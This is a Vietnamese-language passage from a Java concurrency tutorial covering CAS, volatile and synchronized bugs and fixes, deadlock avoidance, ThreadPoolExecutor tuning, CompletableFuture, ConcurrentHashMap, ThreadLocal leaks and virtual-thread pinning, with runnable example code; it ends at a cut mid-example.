1. AtomicInteger.incrementAndGet() dùng CAS (compare-and-swap): đọc giá trị, tính giá trị mới, chỉ ghi nếu giá trị hiện tại vẫn như lúc đọc, nếu không thì thử lại. Không chặn thread, rất nhanh khi tranh chấp thấp. Khi rất nhiều thread cùng tăng một bộ đếm (metric), LongAdder nhanh hơn vì chia bộ đếm thành nhiều ô.
	CÂU HỎI ĐÀO SÂU
"CAS có nhược điểm gì?" — Tranh chấp cao thì vòng lặp thử lại tốn CPU; chỉ nguyên tử trên một biến; và vấn đề ABA (giá trị đổi A thành B rồi về A, CAS vẫn tưởng không đổi), giải quyết bằng AtomicStampedReference gắn thêm version.



CAS bằng lời thường
CAS (compare-and-swap, so sánh rồi đổi) là một lệnh CPU nguyên tử với ý nghĩa: "nếu giá trị hiện tại vẫn đúng là giá trị tôi đã đọc, hãy đổi nó thành giá trị mới; nếu không, báo thất bại". Giống việc sửa một ô trên Google Sheet mà chỉ được lưu nếu chưa ai sửa ô đó kể từ lúc bạn mở. AtomicInteger.incrementAndGet() lặp lại "đọc, tính, CAS" cho tới khi CAS thành công. Hai thread cùng tăng từ 10:
	Thời điểm
	Thread A
	Thread B
	Giá trị

	t1
	Đọc 10
	Đọc 10
	10

	t2
	CAS(10 → 11): thành công
	
	11

	t3
	
	CAS(10 → 11): thất bại vì giá trị đã là 11
	11

	t4
	
	Đọc lại 11
	11

	t5
	
	CAS(11 → 12): thành công
	12



Giải thích: Không thread nào bị chặn (BLOCKED) như khi dùng lock; B chỉ phải thử lại một vòng. Khi tranh chấp thấp, cách này nhanh hơn lock nhiều. Khi hàng chục thread cùng tăng một biến, số lần thử lại tăng vọt và tốn CPU, đó là lúc dùng LongAdder.
volatile và synchronized: code sai rồi code sửa
Lỗi thứ nhất: dùng volatile cho bộ đếm vì nghĩ "volatile là thread-safe". Đoạn code dưới đây cho hai thread cùng tăng ba bộ đếm, mỗi thread 100.000 lần:
	import java.util.concurrent.atomic.AtomicInteger;
 
public class VolatileCounterBug {
    static volatile int volatileCount = 0;              // WRONG: visibility only, no atomicity
    static int syncCount = 0;
    static final AtomicInteger atomicCount = new AtomicInteger();
 
    static synchronized void incSync() { syncCount++; } // FIX 1: one thread at a time
 
    public static void main(String[] args) throws InterruptedException {
        Runnable job = () -> {
            for (int i = 0; i < 100_000; i++) {
                volatileCount++;                        // read, add, write can interleave
                incSync();
                atomicCount.incrementAndGet();          // FIX 2: lock-free CAS loop
            }
        };
        Thread t1 = new Thread(job), t2 = new Thread(job);
        t1.start(); t2.start();
        t1.join(); t2.join();
        System.out.println("volatile: " + volatileCount);   // usually less than 200000, varies per run
        System.out.println("synchronized: " + syncCount);   // prints: synchronized: 200000
        System.out.println("atomic: " + atomicCount.get()); // prints: atomic: 200000
    }
}



Giải thích: Dòng volatile thường in một số nhỏ hơn 200000 và mỗi lần chạy một khác, còn hai dòng sau luôn in 200000.
1. Sai ở đâu: volatile chỉ đảm bảo mỗi lần đọc thấy giá trị mới nhất và mỗi lần ghi được thấy ngay, nhưng không ngăn hai thread cùng đọc 10 rồi cùng ghi 11 như bảng race condition ở 3.1.
1. Sửa 1: synchronized gộp đọc, cộng, ghi thành vùng găng; đồng thời lúc nhả monitor, giá trị mới được công bố cho thread lấy monitor sau (happens-before).
1. Sửa 2: AtomicInteger dùng CAS, không chặn thread, là lựa chọn gọn nhất cho bộ đếm.
Lỗi thứ hai: có synchronized nhưng khóa nhầm object. Đoạn code dưới đây có bộ đếm static dùng chung, nhưng method synchronized thường lại khóa this, tức là mỗi instance một khóa:
	public class WrongLockBug {
    static int total = 0;                               // shared by ALL instances
 
    synchronized void addWrong() { total++; }           // WRONG: locks 'this', one lock per instance
    static synchronized void addFixed() { total++; }    // FIX: locks WrongLockBug.class, one shared lock
 
    public static void main(String[] args) throws InterruptedException {
        WrongLockBug a = new WrongLockBug(), b = new WrongLockBug();
        Thread t1 = new Thread(() -> { for (int i = 0; i < 100_000; i++) a.addWrong(); });
        Thread t2 = new Thread(() -> { for (int i = 0; i < 100_000; i++) b.addWrong(); });
        t1.start(); t2.start(); t1.join(); t2.join();
        System.out.println("instance lock: " + total);  // usually less than 200000, varies per run
 
        total = 0;
        Thread t3 = new Thread(() -> { for (int i = 0; i < 100_000; i++) addFixed(); });
        Thread t4 = new Thread(() -> { for (int i = 0; i < 100_000; i++) addFixed(); });
        t3.start(); t4.start(); t3.join(); t4.join();
        System.out.println("class lock: " + total);     // prints: class lock: 200000
    }
}



Giải thích: Dòng đầu thường in số nhỏ hơn 200000, dòng sau luôn in 200000. synchronized trên instance method khóa monitor của this: thread 1 khóa a, thread 2 khóa b, hai khóa khác nhau nên không loại trừ nhau, trong khi cả hai cùng sửa một field static. static synchronized khóa monitor của object WrongLockBug.class, chỉ có một cho cả chương trình, nên hai thread thực sự lần lượt. Quy tắc: khóa phải được chọn theo dữ liệu cần bảo vệ; dữ liệu static thì khóa ở mức class (hoặc một static final Object LOCK), dữ liệu của từng object thì khóa this. Trong Spring, bean là singleton nên synchronized method của bean khóa đúng một object, nhưng đừng quên nó chỉ đúng trong một JVM: chạy 3 pod là 3 khóa độc lập.
3.5 Deadlock: điều kiện, phòng tránh, phát hiện
Deadlock xảy ra khi có đủ bốn điều kiện: mutual exclusion (tài nguyên độc quyền), hold and wait (giữ cái này, chờ cái kia), no preemption (không ai giật lock được), circular wait (chờ vòng tròn). Phá một điều kiện là hết deadlock; trên thực tế ta phá circular wait hoặc hold and wait.
Ví dụ kinh điển: chuyển tiền A sang B và B sang A cùng lúc, mỗi thread khóa tài khoản nguồn trước. Cách sửa là lock ordering, luôn khóa theo thứ tự cố định (ví dụ theo id). Đoạn code dưới đây là method chuyển tiền đã áp dụng lock ordering:
	import java.util.concurrent.locks.ReentrantLock;
 
public class TransferService {
    static final class Account {
        final long id;
        long balance;
        final ReentrantLock lock = new ReentrantLock();
        Account(long id, long balance) { this.id = id; this.balance = balance; }
    }
 
    void transfer(Account from, Account to, long amount) {
        Account first = from.id < to.id ? from : to;   // always lock the smaller id first
        Account second = from.id < to.id ? to : from;
        first.lock.lock();           // every thread competes for the smaller id first -> no circular wait
        try {
            second.lock.lock();
            try {
                if (from.balance < amount) throw new IllegalStateException("Không đủ số dư");
                from.balance -= amount;
                to.balance += amount;
            } finally { second.lock.unlock(); }
        } finally { first.lock.unlock(); }
    }
}



Giải thích: Nếu viết đơn giản from.lock.lock(); to.lock.lock();, thread 1 chuyển A→B giữ lock A và chờ B, cùng lúc thread 2 chuyển B→A giữ lock B và chờ A: hai thread chờ nhau mãi mãi, không exception, không log, request cứ treo. Bản trên luôn khóa tài khoản có id nhỏ hơn trước, bất kể chiều chuyển tiền, nên cả hai thread đều tranh lock của A trước. Thread nào lấy được A mới được tranh B; thread kia đứng chờ ở A mà không giữ lock nào, nên vòng chờ không thể hình thành. Hai khối try/finally lồng nhau đảm bảo nhả cả hai lock theo thứ tự ngược lại, kể cả khi ném IllegalStateException vì không đủ số dư.
Các cách phòng khác: dùng tryLock(timeout) và thả hết lock rồi thử lại nếu không lấy được; thu nhỏ phạm vi lock; không gọi code bên ngoài (callback, gọi HTTP, gọi service khác) khi đang giữ lock.
Phát hiện: jstack <pid> (hoặc jcmd <pid> Thread.print) tự in mục "Found one Java-level deadlock" kèm các thread và lock liên quan. Trong code có thể dùng ThreadMXBean.findDeadlockedThreads() cho health check. Lưu ý deadlock trong database (hai transaction khóa row ngược thứ tự) là chuyện khác: DB tự phát hiện và hủy một transaction, ứng dụng nhận exception và cần retry.
3.6 ThreadPoolExecutor: cấu hình có chủ đích
Hiểu thứ tự xử lý khi submit task là chìa khóa:
1. Số thread đang chạy nhỏ hơn corePoolSize: tạo thread mới.
1. Đủ core thread: đưa task vào workQueue.
1. Queue đầy và số thread nhỏ hơn maximumPoolSize: tạo thêm thread.
1. Queue đầy và đã đạt max: gọi RejectedExecutionHandler.
Hệ quả bất ngờ: với queue không giới hạn, bước 3 không bao giờ xảy ra, maximumPoolSize vô nghĩa. Đó chính là cấu hình của các factory tiện lợi:
	Factory
	Cấu hình thực tế
	Rủi ro production

	newFixedThreadPool(n)
	n thread, LinkedBlockingQueue không giới hạn
	Tải vượt khả năng xử lý thì queue phình đến OOM, request chờ vô hạn

	newSingleThreadExecutor()
	1 thread, queue không giới hạn
	Như trên

	newCachedThreadPool()
	Tối đa Integer.MAX_VALUE thread
	Tải đột biến tạo hàng nghìn thread, cạn bộ nhớ native



Trên production, tôi muốn thấy cấu hình tường minh với queue có giới hạn và rejection policy có chủ đích. Đoạn code dưới đây tạo một pool riêng cho việc xuất báo cáo:
	import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
 
public class PoolConfig {
    public static ThreadPoolExecutor reportPool() {
        AtomicInteger seq = new AtomicInteger();
        return new ThreadPoolExecutor(
            8,                                   // corePoolSize
            16,                                  // maximumPoolSize
            60, TimeUnit.SECONDS,                // non-core threads idle for 60s are removed
            new ArrayBlockingQueue<>(500),       // bounded queue
            r -> new Thread(r, "report-worker-" + seq.incrementAndGet()), // named threads
            new ThreadPoolExecutor.CallerRunsPolicy()); // overloaded: the caller runs the task itself -> natural backpressure
    }
}



Giải thích: Pool này nhận task theo đúng thứ tự core → queue → max → reject ở trên: 8 task đầu mỗi task có một thread core; task tiếp theo xếp vào queue, tối đa 500 task; chỉ khi queue đầy mới tạo thêm thread cho đến 16. Khi cả 16 thread đều bận và queue đầy, task mới bị CallerRunsPolicy bắt chạy ngay trên thread đã gọi execute()/submit() (ví dụ thread Tomcat). Thread đó bận chạy task nên tạm thời không nhận thêm việc mới, tạo ra backpressure tự nhiên thay vì để queue phình tới OOM. ThreadFactory đặt tên report-worker-N để khi đọc thread dump hay log bạn biết ngay pool nào đang nghẽn. Các thread vượt core (thứ 9 đến 16) rảnh quá 60 giây thì bị hủy để trả lại tài nguyên.
Bốn rejection policy có sẵn: AbortPolicy (mặc định, ném RejectedExecutionException, phù hợp khi muốn trả lỗi 503 nhanh), CallerRunsPolicy (tạo backpressure tự nhiên), DiscardPolicy và DiscardOldestPolicy (bỏ task âm thầm, chỉ dùng khi mất task là chấp nhận được, như metric).
Kích thước pool: tác vụ thuần CPU thì xấp xỉ số core; tác vụ I/O thì theo công thức số core * (1 + thời gian chờ / thời gian tính). Công thức chỉ để khởi điểm, con số cuối cùng phải đến từ đo tải. Và nhớ rằng pool lớn không giúp gì nếu phía sau là connection pool DB chỉ có 10 connection.
Đi từng bước: task thứ 1, 5, 11, 20 đến thì chuyện gì xảy ra?
Để thấy rõ thứ tự core → queue → max → reject, hãy lấy một pool nhỏ: corePoolSize = 4, maximumPoolSize = 8, queue ArrayBlockingQueue sức chứa 6, rejection policy mặc định AbortPolicy. Giả sử mỗi task chạy rất lâu (chưa task nào xong trong lúc đang gửi). Đoạn code dưới đây gửi 20 task như vậy và in trạng thái pool tại các task đáng chú ý:
	import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.RejectedExecutionException;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
 
public class PoolWalkthrough {
    public static void main(String[] args) throws InterruptedException {
        CountDownLatch release = new CountDownLatch(1);           // keeps every task busy
        ThreadPoolExecutor pool = new ThreadPoolExecutor(4, 8, 60, TimeUnit.SECONDS,
                new ArrayBlockingQueue<>(6));                     // default policy: AbortPolicy
        Runnable longTask = () -> {
            try { release.await(); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
        };
        for (int id = 1; id <= 20; id++) {
            try {
                pool.execute(longTask);
                if (id == 1 || id == 5 || id == 10 || id == 11 || id == 14)
                    System.out.printf("task %d accepted: threads=%d, queued=%d%n",
                            id, pool.getPoolSize(), pool.getQueue().size());
            } catch (RejectedExecutionException e) {
                if (id == 15 || id == 20) System.out.println("task " + id + " rejected");
            }
        }
        release.countDown();                                      // let all tasks finish
        pool.shutdown();
        pool.awaitTermination(5, TimeUnit.SECONDS);
    }
}



Output của chương trình (luôn như nhau vì không task nào xong trước khi gửi hết):
	task 1 accepted: threads=1, queued=0
task 5 accepted: threads=4, queued=1
task 10 accepted: threads=4, queued=6
task 11 accepted: threads=5, queued=6
task 14 accepted: threads=8, queued=6
task 15 rejected
task 20 rejected



	Task đến
	Tình trạng pool lúc đó
	Pool làm gì

	Task 1
	0 thread
	Dưới core (0 < 4): tạo thread 1, giao task 1 cho nó

	Task 5
	4 thread bận, queue trống
	Đủ core: đưa task 5 vào queue (vị trí 1/6)

	Task 11
	4 thread, queue đầy 6/6 (task 5–10)
	Queue đầy, còn dưới max (4 < 8): tạo thread 5 chạy ngay task 11

	Task 20
	8 thread bận, queue đầy
	Đã đạt max và queue đầy: AbortPolicy ném RejectedExecutionException



Giải thích: Có hai điều ngược trực giác. Thứ nhất, pool không tăng thread lên max trước rồi mới xếp hàng; nó xếp hàng trước, chỉ khi queue đầy mới tạo thêm thread. Thứ hai, thread mới tạo ở bước 3 chạy chính task vừa đến (task 11), trong khi task 5 đến trước lại vẫn nằm trong queue, nên pool không đảm bảo thứ tự FIFO tuyệt đối. Từ task 15 trở đi (8 thread + 6 chỗ queue = 14 task đang giữ) mọi task đều bị từ chối. Nếu thay ArrayBlockingQueue<>(6) bằng LinkedBlockingQueue không giới hạn, pool sẽ không bao giờ vượt 4 thread và cũng không bao giờ từ chối: 16 task còn lại nằm chờ trong queue, đúng rủi ro của newFixedThreadPool.
3.7 CompletableFuture: gọi song song, xử lý lỗi, timeout
Bài toán điển hình: trang chi tiết đơn hàng cần dữ liệu từ ba service. Gọi tuần tự mất tổng thời gian ba lần gọi; gọi song song chỉ mất thời gian của lần chậm nhất.
1. thenApply(f): biến đổi kết quả (giống map).
1. thenCompose(f): khi f trả về một CompletableFuture khác, tránh lồng CompletableFuture<CompletableFuture<T>> (giống flatMap).
1. thenCombine(other, f): gộp kết quả hai future độc lập.
1. allOf(...): chờ tất cả xong, trả về CompletableFuture<Void>, sau đó tự join() từng future để lấy kết quả.
1. exceptionally(f): trả giá trị dự phòng khi lỗi; handle/whenComplete xử lý cả hai nhánh.
1. orTimeout, completeOnTimeout (Java 9+): đặt timeout mà không cần tự viết scheduler.
Đoạn code dưới đây ghép dữ liệu cho trang chi tiết đơn hàng: order và items được gọi song song; customer phải chờ có order mới gọi được; items là dữ liệu phụ nên chậm hoặc lỗi thì trả rỗng thay vì làm hỏng cả trang:
	import java.util.List;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
 
public class OrderDetailAggregator {
    record Detail(String order, String customer, List<String> items) {}
 
    private final ExecutorService ioPool = Executors.newVirtualThreadPerTaskExecutor();
 
    Detail load(String orderId) {
        var order = CompletableFuture.supplyAsync(() -> call("order:" + orderId), ioPool);
        var customer = order.thenCompose(o ->                       // depends on the order result
            CompletableFuture.supplyAsync(() -> call("customer-of:" + o), ioPool));
        var items = CompletableFuture.supplyAsync(() -> List.of(call("items:" + orderId)), ioPool)
            .completeOnTimeout(List.of(), 800, TimeUnit.MILLISECONDS) // too slow: fall back to an empty list
            .exceptionally(ex -> List.of());                         // on error: empty list
        CompletableFuture.allOf(customer, items).orTimeout(2, TimeUnit.SECONDS).join(); // wait at most 2 seconds
        return new Detail(order.join(), customer.join(), items.join()); // already done, join() returns immediately
    }
 
    private String call(String what) { return "data(" + what + ")"; } // simulated HTTP call
}



Giải thích: order và items bắt đầu chạy ngay lập tức, song song trên virtual thread của ioPool. customer dùng thenCompose vì cần kết quả của order và bước gọi tiếp lại trả về một CompletableFuture; nếu dùng thenApply ta sẽ nhận được CompletableFuture<CompletableFuture<String>>. Với items, quá 800 ms thì completeOnTimeout điền sẵn list rỗng, còn nếu lỗi thì exceptionally trả list rỗng, nên trang vẫn hiển thị được phần chính. Dòng allOf(...).orTimeout(2, SECONDS).join() chặn tối đa 2 giây; nếu customer lỗi hoặc quá hạn, join() ném CompletionException và caller phải xử lý (ví dụ trả lỗi 502/504). Kết quả là tổng thời gian xấp xỉ max(order + customer, items) thay vì cộng dồn cả ba lời gọi.
	BẪY THƯỜNG GẶP
Gọi supplyAsync(supplier) không truyền executor thì task chạy trên ForkJoinPool.commonPool(), dùng chung với parallel stream của cả JVM, số thread chỉ bằng số core trừ một. Đưa lời gọi HTTP/DB blocking vào đó sẽ làm nghẽn mọi thứ khác dùng common pool. Với I/O, luôn truyền executor riêng (pool có giới hạn hoặc virtual thread executor).



Một số chi tiết đáng nói: join() ném CompletionException (unchecked) còn get() ném ExecutionException (checked), exception gốc nằm trong getCause(). Các method không có hậu tố Async có thể chạy trên thread đã hoàn thành stage trước, nên đừng đặt việc nặng trong thenApply nếu không kiểm soát được thread đó. Và cancel(true) trên CompletableFuture không interrupt thread đang chạy task.
Ví dụ chạy được: gộp ba nguồn dữ liệu có output
CompletableFuture là một "phiếu hẹn": bạn nhận phiếu ngay, còn kết quả sẽ có sau khi một thread khác làm xong. Bạn có thể dặn trước trên phiếu "có kết quả thì làm tiếp việc này" (thenApply, thenCombine) hoặc "nếu lỗi thì dùng giá trị này" (exceptionally) mà không phải đứng chờ. Đoạn code dưới đây gọi song song ba service giả lập: giá (300 ms), tồn kho (200 ms), khuyến mãi (100 ms nhưng lỗi):
	import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
 
public class ProductPageDemo {
    static String call(String result, long ms) {
        try { Thread.sleep(ms); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
        return result;
    }
 
    public static void main(String[] args) {
        try (ExecutorService io = Executors.newFixedThreadPool(3)) {
            long start = System.nanoTime();
            var price = CompletableFuture.supplyAsync(() -> call("price=100", 300), io);
            var stock = CompletableFuture.supplyAsync(() -> call("stock=7", 200), io);
            var promo = CompletableFuture.supplyAsync(() -> {
                        call("", 100);
                        throw new IllegalStateException("promo service down");
                    }, io)
                    .thenApply(Object::toString)                            // skipped: stage failed
                    .exceptionally(ex -> "promo=none (" + ex.getCause().getMessage() + ")");
            String page = price.thenCombine(stock, (p, s) -> p + ", " + s)
                    .thenCombine(promo, (ps, pr) -> ps + ", " + pr)
                    .join();                                                // waits ~300 ms, not 600
            long ms = (System.nanoTime() - start) / 1_000_000;
            System.out.println(page);           // prints: price=100, stock=7, promo=none (promo service down)
            System.out.println("parallel: " + (ms < 500)); // prints: parallel: true
        }
    }
}



Giải thích: Chương trình in price=100, stock=7, promo=none (promo service down) rồi parallel: true.
1. Ba lời gọi bắt đầu gần như cùng lúc trên ba thread của pool io, nên tổng thời gian xấp xỉ lời gọi chậm nhất (300 ms), không phải tổng 600 ms.
1. Stage promo ném exception, nên thenApply phía sau bị bỏ qua và lỗi chảy thẳng xuống exceptionally. Exception nhận được là CompletionException bọc exception gốc, vì vậy phải gọi ex.getCause() mới lấy được thông điệp promo service down.
1. thenCombine chờ cả hai future rồi gộp kết quả; join() cuối cùng là chỗ duy nhất main thread đứng chờ.
1. Nếu bỏ exceptionally, join() sẽ ném CompletionException và cả trang lỗi theo một service phụ, đúng điều bạn muốn tránh.
3.8 Collection đồng thời và công cụ đồng bộ
	
	Hashtable
	Collections.synchronizedMap
	ConcurrentHashMap

	Cách khóa
	Mọi method synchronized
	Một mutex cho cả map
	CAS + khóa riêng từng bucket

	Đọc
	Bị khóa
	Bị khóa
	Không khóa

	Null key/value
	Không
	Theo map gốc (HashMap cho phép)
	Không

	Duyệt khi có ghi
	Fail-fast
	Phải tự synchronized khi duyệt
	Weakly consistent, không ném lỗi



Hashtable là class di sản, không dùng trong code mới. ConcurrentHashMap ở Java 8+ không còn dùng 16 "segment" như Java 7: bucket trống được ghi bằng CAS, bucket đã có node thì khóa bằng synchronized trên node đầu, thao tác đọc gần như không khóa.
Điều quan trọng nhất: ConcurrentHashMap chỉ đảm bảo từng thao tác là nguyên tử. Chuỗi thao tác "kiểm tra rồi hành động" (check-then-act) vẫn là race condition. Đoạn code dưới đây đếm lượt truy cập theo key và cộng tồn kho theo SKU; các dòng comment WRONG là cách viết check-then-act hay gặp:
	import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.atomic.LongAdder;
 
public class CounterStore {
    private final ConcurrentHashMap<String, LongAdder> counters = new ConcurrentHashMap<>();
    private final ConcurrentHashMap<String, Integer> stock = new ConcurrentHashMap<>();
 
    void hit(String key) {
        // WRONG: if (!counters.containsKey(key)) counters.put(key, new LongAdder());
        counters.computeIfAbsent(key, k -> new LongAdder()).increment(); // atomic
    }
 
    void addStock(String sku, int qty) {
        stock.merge(sku, qty, Integer::sum);  // WRONG would be: get() then put(get + qty)
    }
}



Giải thích: Với cách viết sai (WRONG) containsKey rồi put, hai thread có thể cùng thấy key chưa tồn tại, mỗi thread tạo một LongAdder riêng, và lệnh put sau ghi đè lệnh put trước: các lượt đếm đã cộng vào adder bị ghi đè sẽ mất. Tương tự với stock.put(sku, stock.get(sku) + qty): hai thread cùng đọc được 10, cùng cộng 5, cùng ghi 15, trong khi đúng ra phải là 20 (lost update). Từng lệnh riêng lẻ của ConcurrentHashMap an toàn, nhưng khoảng hở giữa hai lệnh thì không. computeIfAbsent và merge gộp cả đọc, tính, ghi vào một thao tác nguyên tử trên key đó. Lưu ý: hàm truyền vào computeIfAbsent/merge phải ngắn và không được sửa chính map đó, vì nó chạy trong lúc map đang giữ khóa bucket.
Lý do ConcurrentHashMap cấm null: trong môi trường đồng thời, get(key) trả null không thể phân biệt "không có key" hay "key có value null", vì giữa lúc get và containsKey map đã có thể thay đổi.
Hai công cụ đồng bộ hay gặp:
1. CountDownLatch: một hoặc nhiều thread chờ cho đến khi N việc hoàn tất; dùng một lần, không reset được. Hay dùng trong test tích hợp để chờ consumer xử lý xong message.
1. Semaphore: giới hạn số thread đồng thời truy cập tài nguyên, ví dụ chỉ cho phép 10 lời gọi cùng lúc tới API đối tác bị rate limit. Đặc biệt hữu ích với virtual threads (xem 3.10).
3.9 ThreadLocal và rò rỉ trong thread pool
	NHẮC LẠI KIẾN THỨC
Memory leak trong Java là object không còn dùng nhưng vẫn reachable từ một GC root; thread đang sống là một GC root (xem 2.3 và 2.4). Thread của pool sống suốt đời ứng dụng, nên mọi thứ gắn vào nó cũng vậy.



ThreadLocal cho mỗi thread một bản sao biến riêng. Spring dùng nó khắp nơi: SecurityContextHolder, transaction đang mở, RequestContextHolder, MDC của logging. Vấn đề là thread trong pool (Tomcat, executor) không bao giờ chết: giá trị bạn set() mà không remove() sẽ còn nguyên cho request tiếp theo do thread đó xử lý. Hậu quả có hai loại: rò rỉ bộ nhớ (object lớn sống mãi), và nghiêm trọng hơn là rò rỉ dữ liệu, request của người dùng B đọc được tenantId hay userId của người dùng A.
Class dưới đây giữ tenantId của request hiện tại trong ThreadLocal và chỉ cho phép dùng theo mẫu an toàn: set, chạy nghiệp vụ, rồi remove:
	public final class TenantContext {
    private static final ThreadLocal<String> TENANT = new ThreadLocal<>();
 
    public static String current() { return TENANT.get(); }
 
    // Safe pattern: always remove in finally (usually inside a Filter/Interceptor)
    public static void runAs(String tenantId, Runnable action) {
        TENANT.set(tenantId);
        try {
            action.run();
        } finally {
            TENANT.remove(); // mandatory: return the thread to the pool in a clean state
        }
    }
}



Giải thích: runAs("tenantA", action) gắn tenant cho thread hiện tại; mọi code bên trong action (service, repository) gọi TenantContext.current() đều nhận được "tenantA" mà không cần truyền tham số qua từng tầng. Khối finally xóa giá trị kể cả khi action ném exception. Nếu thiếu remove(), thread Tomcat quay về pool vẫn mang "tenantA"; request kế tiếp của tenant B rơi vào đúng thread đó mà vì lý do nào đó không set lại (ví dụ một endpoint đi đường vòng qua filter) sẽ đọc và ghi vào dữ liệu của tenant A. Trong Spring, runAs thường được gọi trong một OncePerRequestFilter để bao trọn cả request.
Ngoài ra, ThreadLocal không tự truyền sang thread khác: code chạy trong @Async hoặc CompletableFuture.supplyAsync sẽ không thấy SecurityContext hay MDC của thread gọi, trừ khi bạn tự truyền (ví dụ TaskDecorator của Spring).
3.10 Virtual Threads (Java 21)
Virtual thread là thread do JVM quản lý, rất nhẹ (stack nằm trên Heap, co giãn theo nhu cầu), có thể tạo hàng triệu cái. Chúng chạy trên một nhóm nhỏ carrier thread (platform thread, mặc định bằng số core). Khi virtual thread gặp thao tác blocking như đọc socket, sleep, chờ lock của java.util.concurrent, JVM tháo nó khỏi carrier (unmount) và cho virtual thread khác chạy. Nhờ vậy, code viết kiểu blocking đơn giản nhưng đạt khả năng xử lý đồng thời gần với lập trình reactive. Đoạn code dưới đây gửi 10.000 task, mỗi task ngủ 1 giây để giả lập một lời gọi I/O:
	import java.time.Duration;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.stream.IntStream;
 
public class VirtualThreadDemo {
    public static void main(String[] args) {
        try (ExecutorService executor = Executors.newVirtualThreadPerTaskExecutor()) {
            IntStream.range(0, 10_000).forEach(i -> executor.submit(() -> {
                Thread.sleep(Duration.ofSeconds(1)); // simulated I/O call
                return i;
            }));
        } // 10,000 blocking tasks finish in about 1 second
    }
}



Giải thích: Chương trình kết thúc sau khoảng 1 giây. Mỗi task chạy trên một virtual thread riêng; khi gặp Thread.sleep, virtual thread được unmount khỏi carrier, nên chỉ vài carrier thread (bằng số core) vẫn phục vụ được cả 10.000 task đang chờ cùng lúc. Khối try-with-resources gọi close() và chờ mọi task xong mới thoát. Lambda có return i nên là một Callable, vì vậy được phép ném InterruptedException của sleep mà không cần try/catch. Nếu thay bằng newFixedThreadPool(200), 10.000 task phải xếp hàng chạy theo lượt và mất khoảng 10.000 / 200 = 50 giây; còn tạo 10.000 platform thread thì tốn nhiều bộ nhớ và dễ chạm giới hạn thread của hệ điều hành. Lưu ý ví dụ nhanh chỉ vì task chờ; nếu mỗi task tính toán CPU trong 1 giây thì virtual thread không nhanh hơn chút nào.
Những điều cần nói đúng:
1. Có lợi khi: nhiều tác vụ đồng thời, phần lớn thời gian chờ I/O (gọi HTTP, DB, message broker). Kiểu thread-per-request của Spring MVC hưởng lợi trực tiếp; từ Spring Boot 3.2 chỉ cần spring.threads.virtual.enabled=true.
1. Không có lợi khi: tác vụ thuần CPU. Virtual thread không làm code chạy nhanh hơn, chỉ giúp chờ rẻ hơn.
1. Không pool virtual thread: tạo mới cho mỗi task (newVirtualThreadPerTaskExecutor). Pool tồn tại vì platform thread đắt; virtual thread thì không. Muốn giới hạn truy cập tài nguyên (connection DB, API đối tác) thì dùng Semaphore hoặc chính connection pool.
1. Pinning: ở Java 21, virtual thread blocking bên trong khối synchronized (hoặc native method) sẽ bị ghim vào carrier, không unmount được. Vài thread bị ghim là đủ chặn toàn bộ carrier. Cách xử lý trên Java 21: đổi synchronized bao quanh I/O sang ReentrantLock, phát hiện bằng JFR event jdk.VirtualThreadPinned hoặc -Djdk.tracePinnedThreads=full. Java 24 (JEP 491) đã khắc phục pinning với synchronized (Java 25 LTS có sẵn bản sửa này), nhưng nhiều hệ thống production vẫn chạy Java 21.
1. ThreadLocal vẫn hoạt động nhưng mỗi virtual thread một bản, với hàng triệu thread thì tốn bộ nhớ; không dùng ThreadLocal để cache object nặng. Scoped Values là giải pháp thay thế (preview ở Java 21, chính thức ở Java 25).
1. Nút thắt dời xuống tầng dưới: 10.000 virtual thread cùng chờ một HikariCP pool 10 connection thì vẫn chỉ có 10 query chạy cùng lúc.
Carrier thread và pinning qua ví dụ
Carrier thread là platform thread thật của hệ điều hành mà virtual thread "cưỡi" lên để chạy, giống tài xế (carrier) và hành khách (virtual thread): số tài xế ít, số khách rất đông. Khách nào phải chờ (gọi I/O, sleep) thì xuống xe ngồi đợi, tài xế chở khách khác. Khi I/O xong, khách lên lại một xe bất kỳ, có thể là tài xế khác. Đoạn code dưới đây in ra thông tin của hai virtual thread, trong đó có tên carrier đang chở nó:
	public class CarrierDemo {
    public static void main(String[] args) throws InterruptedException {
        Thread vt1 = Thread.ofVirtual().name("vt-1").start(() -> System.out.println(Thread.currentThread()));
        Thread vt2 = Thread.ofVirtual().name("vt-2").start(() -> System.out.println(Thread.currentThread()));
        vt1.join();
        vt2.join();
        // prints something like: VirtualThread[#22,vt-1]/runnable@ForkJoinPool-1-worker-1
    }
}



Giải thích: Mỗi dòng in có dạng VirtualThread[#22,vt-1]/runnable@ForkJoinPool-1-worker-1: phần trước @ là virtual thread, phần sau là carrier, một platform thread trong ForkJoinPool riêng của scheduler virtual thread. Số #22 và số worker thay đổi theo lần chạy, thứ tự hai dòng cũng có thể đảo. Số carrier mặc định bằng số core.
Pinning (bị ghim) là khi virtual thread đang chờ mà không xuống xe được, nên chiếm luôn carrier. Trên Java 21, điều này xảy ra khi virtual thread blocking bên trong khối synchronized hoặc trong native method. Giả sử máy có 2 carrier, 4 virtual thread cùng gọi một method synchronized (mỗi thread khóa một object riêng nên không chờ nhau về lock) bên trong có lời gọi HTTP mất 1 giây:
	Thời điểm
	Carrier 1
	Carrier 2
	VT3, VT4

	0 ms
	VT1 vào synchronized, gọi HTTP, bị ghim
	VT2 vào synchronized, gọi HTTP, bị ghim
	Chờ carrier rảnh

	500 ms
	Vẫn bị VT1 chiếm dù VT1 chỉ đang chờ
	Vẫn bị VT2 chiếm
	Vẫn chờ, không làm được gì

	1000 ms
	VT1 xong, nhả carrier; VT3 lên
	VT2 xong; VT4 lên
	Bắt đầu chạy

	2000 ms
	VT3 xong
	VT4 xong
	



Nếu không bị ghim, cả 4 virtual thread đều xuống xe khi chờ HTTP và tất cả xong trong khoảng 1 giây. Với 10.000 request, pinning biến virtual thread thành một pool chỉ có 2 thread. Đoạn code dưới đây là cặp sai/sửa trên Java 21:
	import java.util.concurrent.locks.ReentrantLock;
 
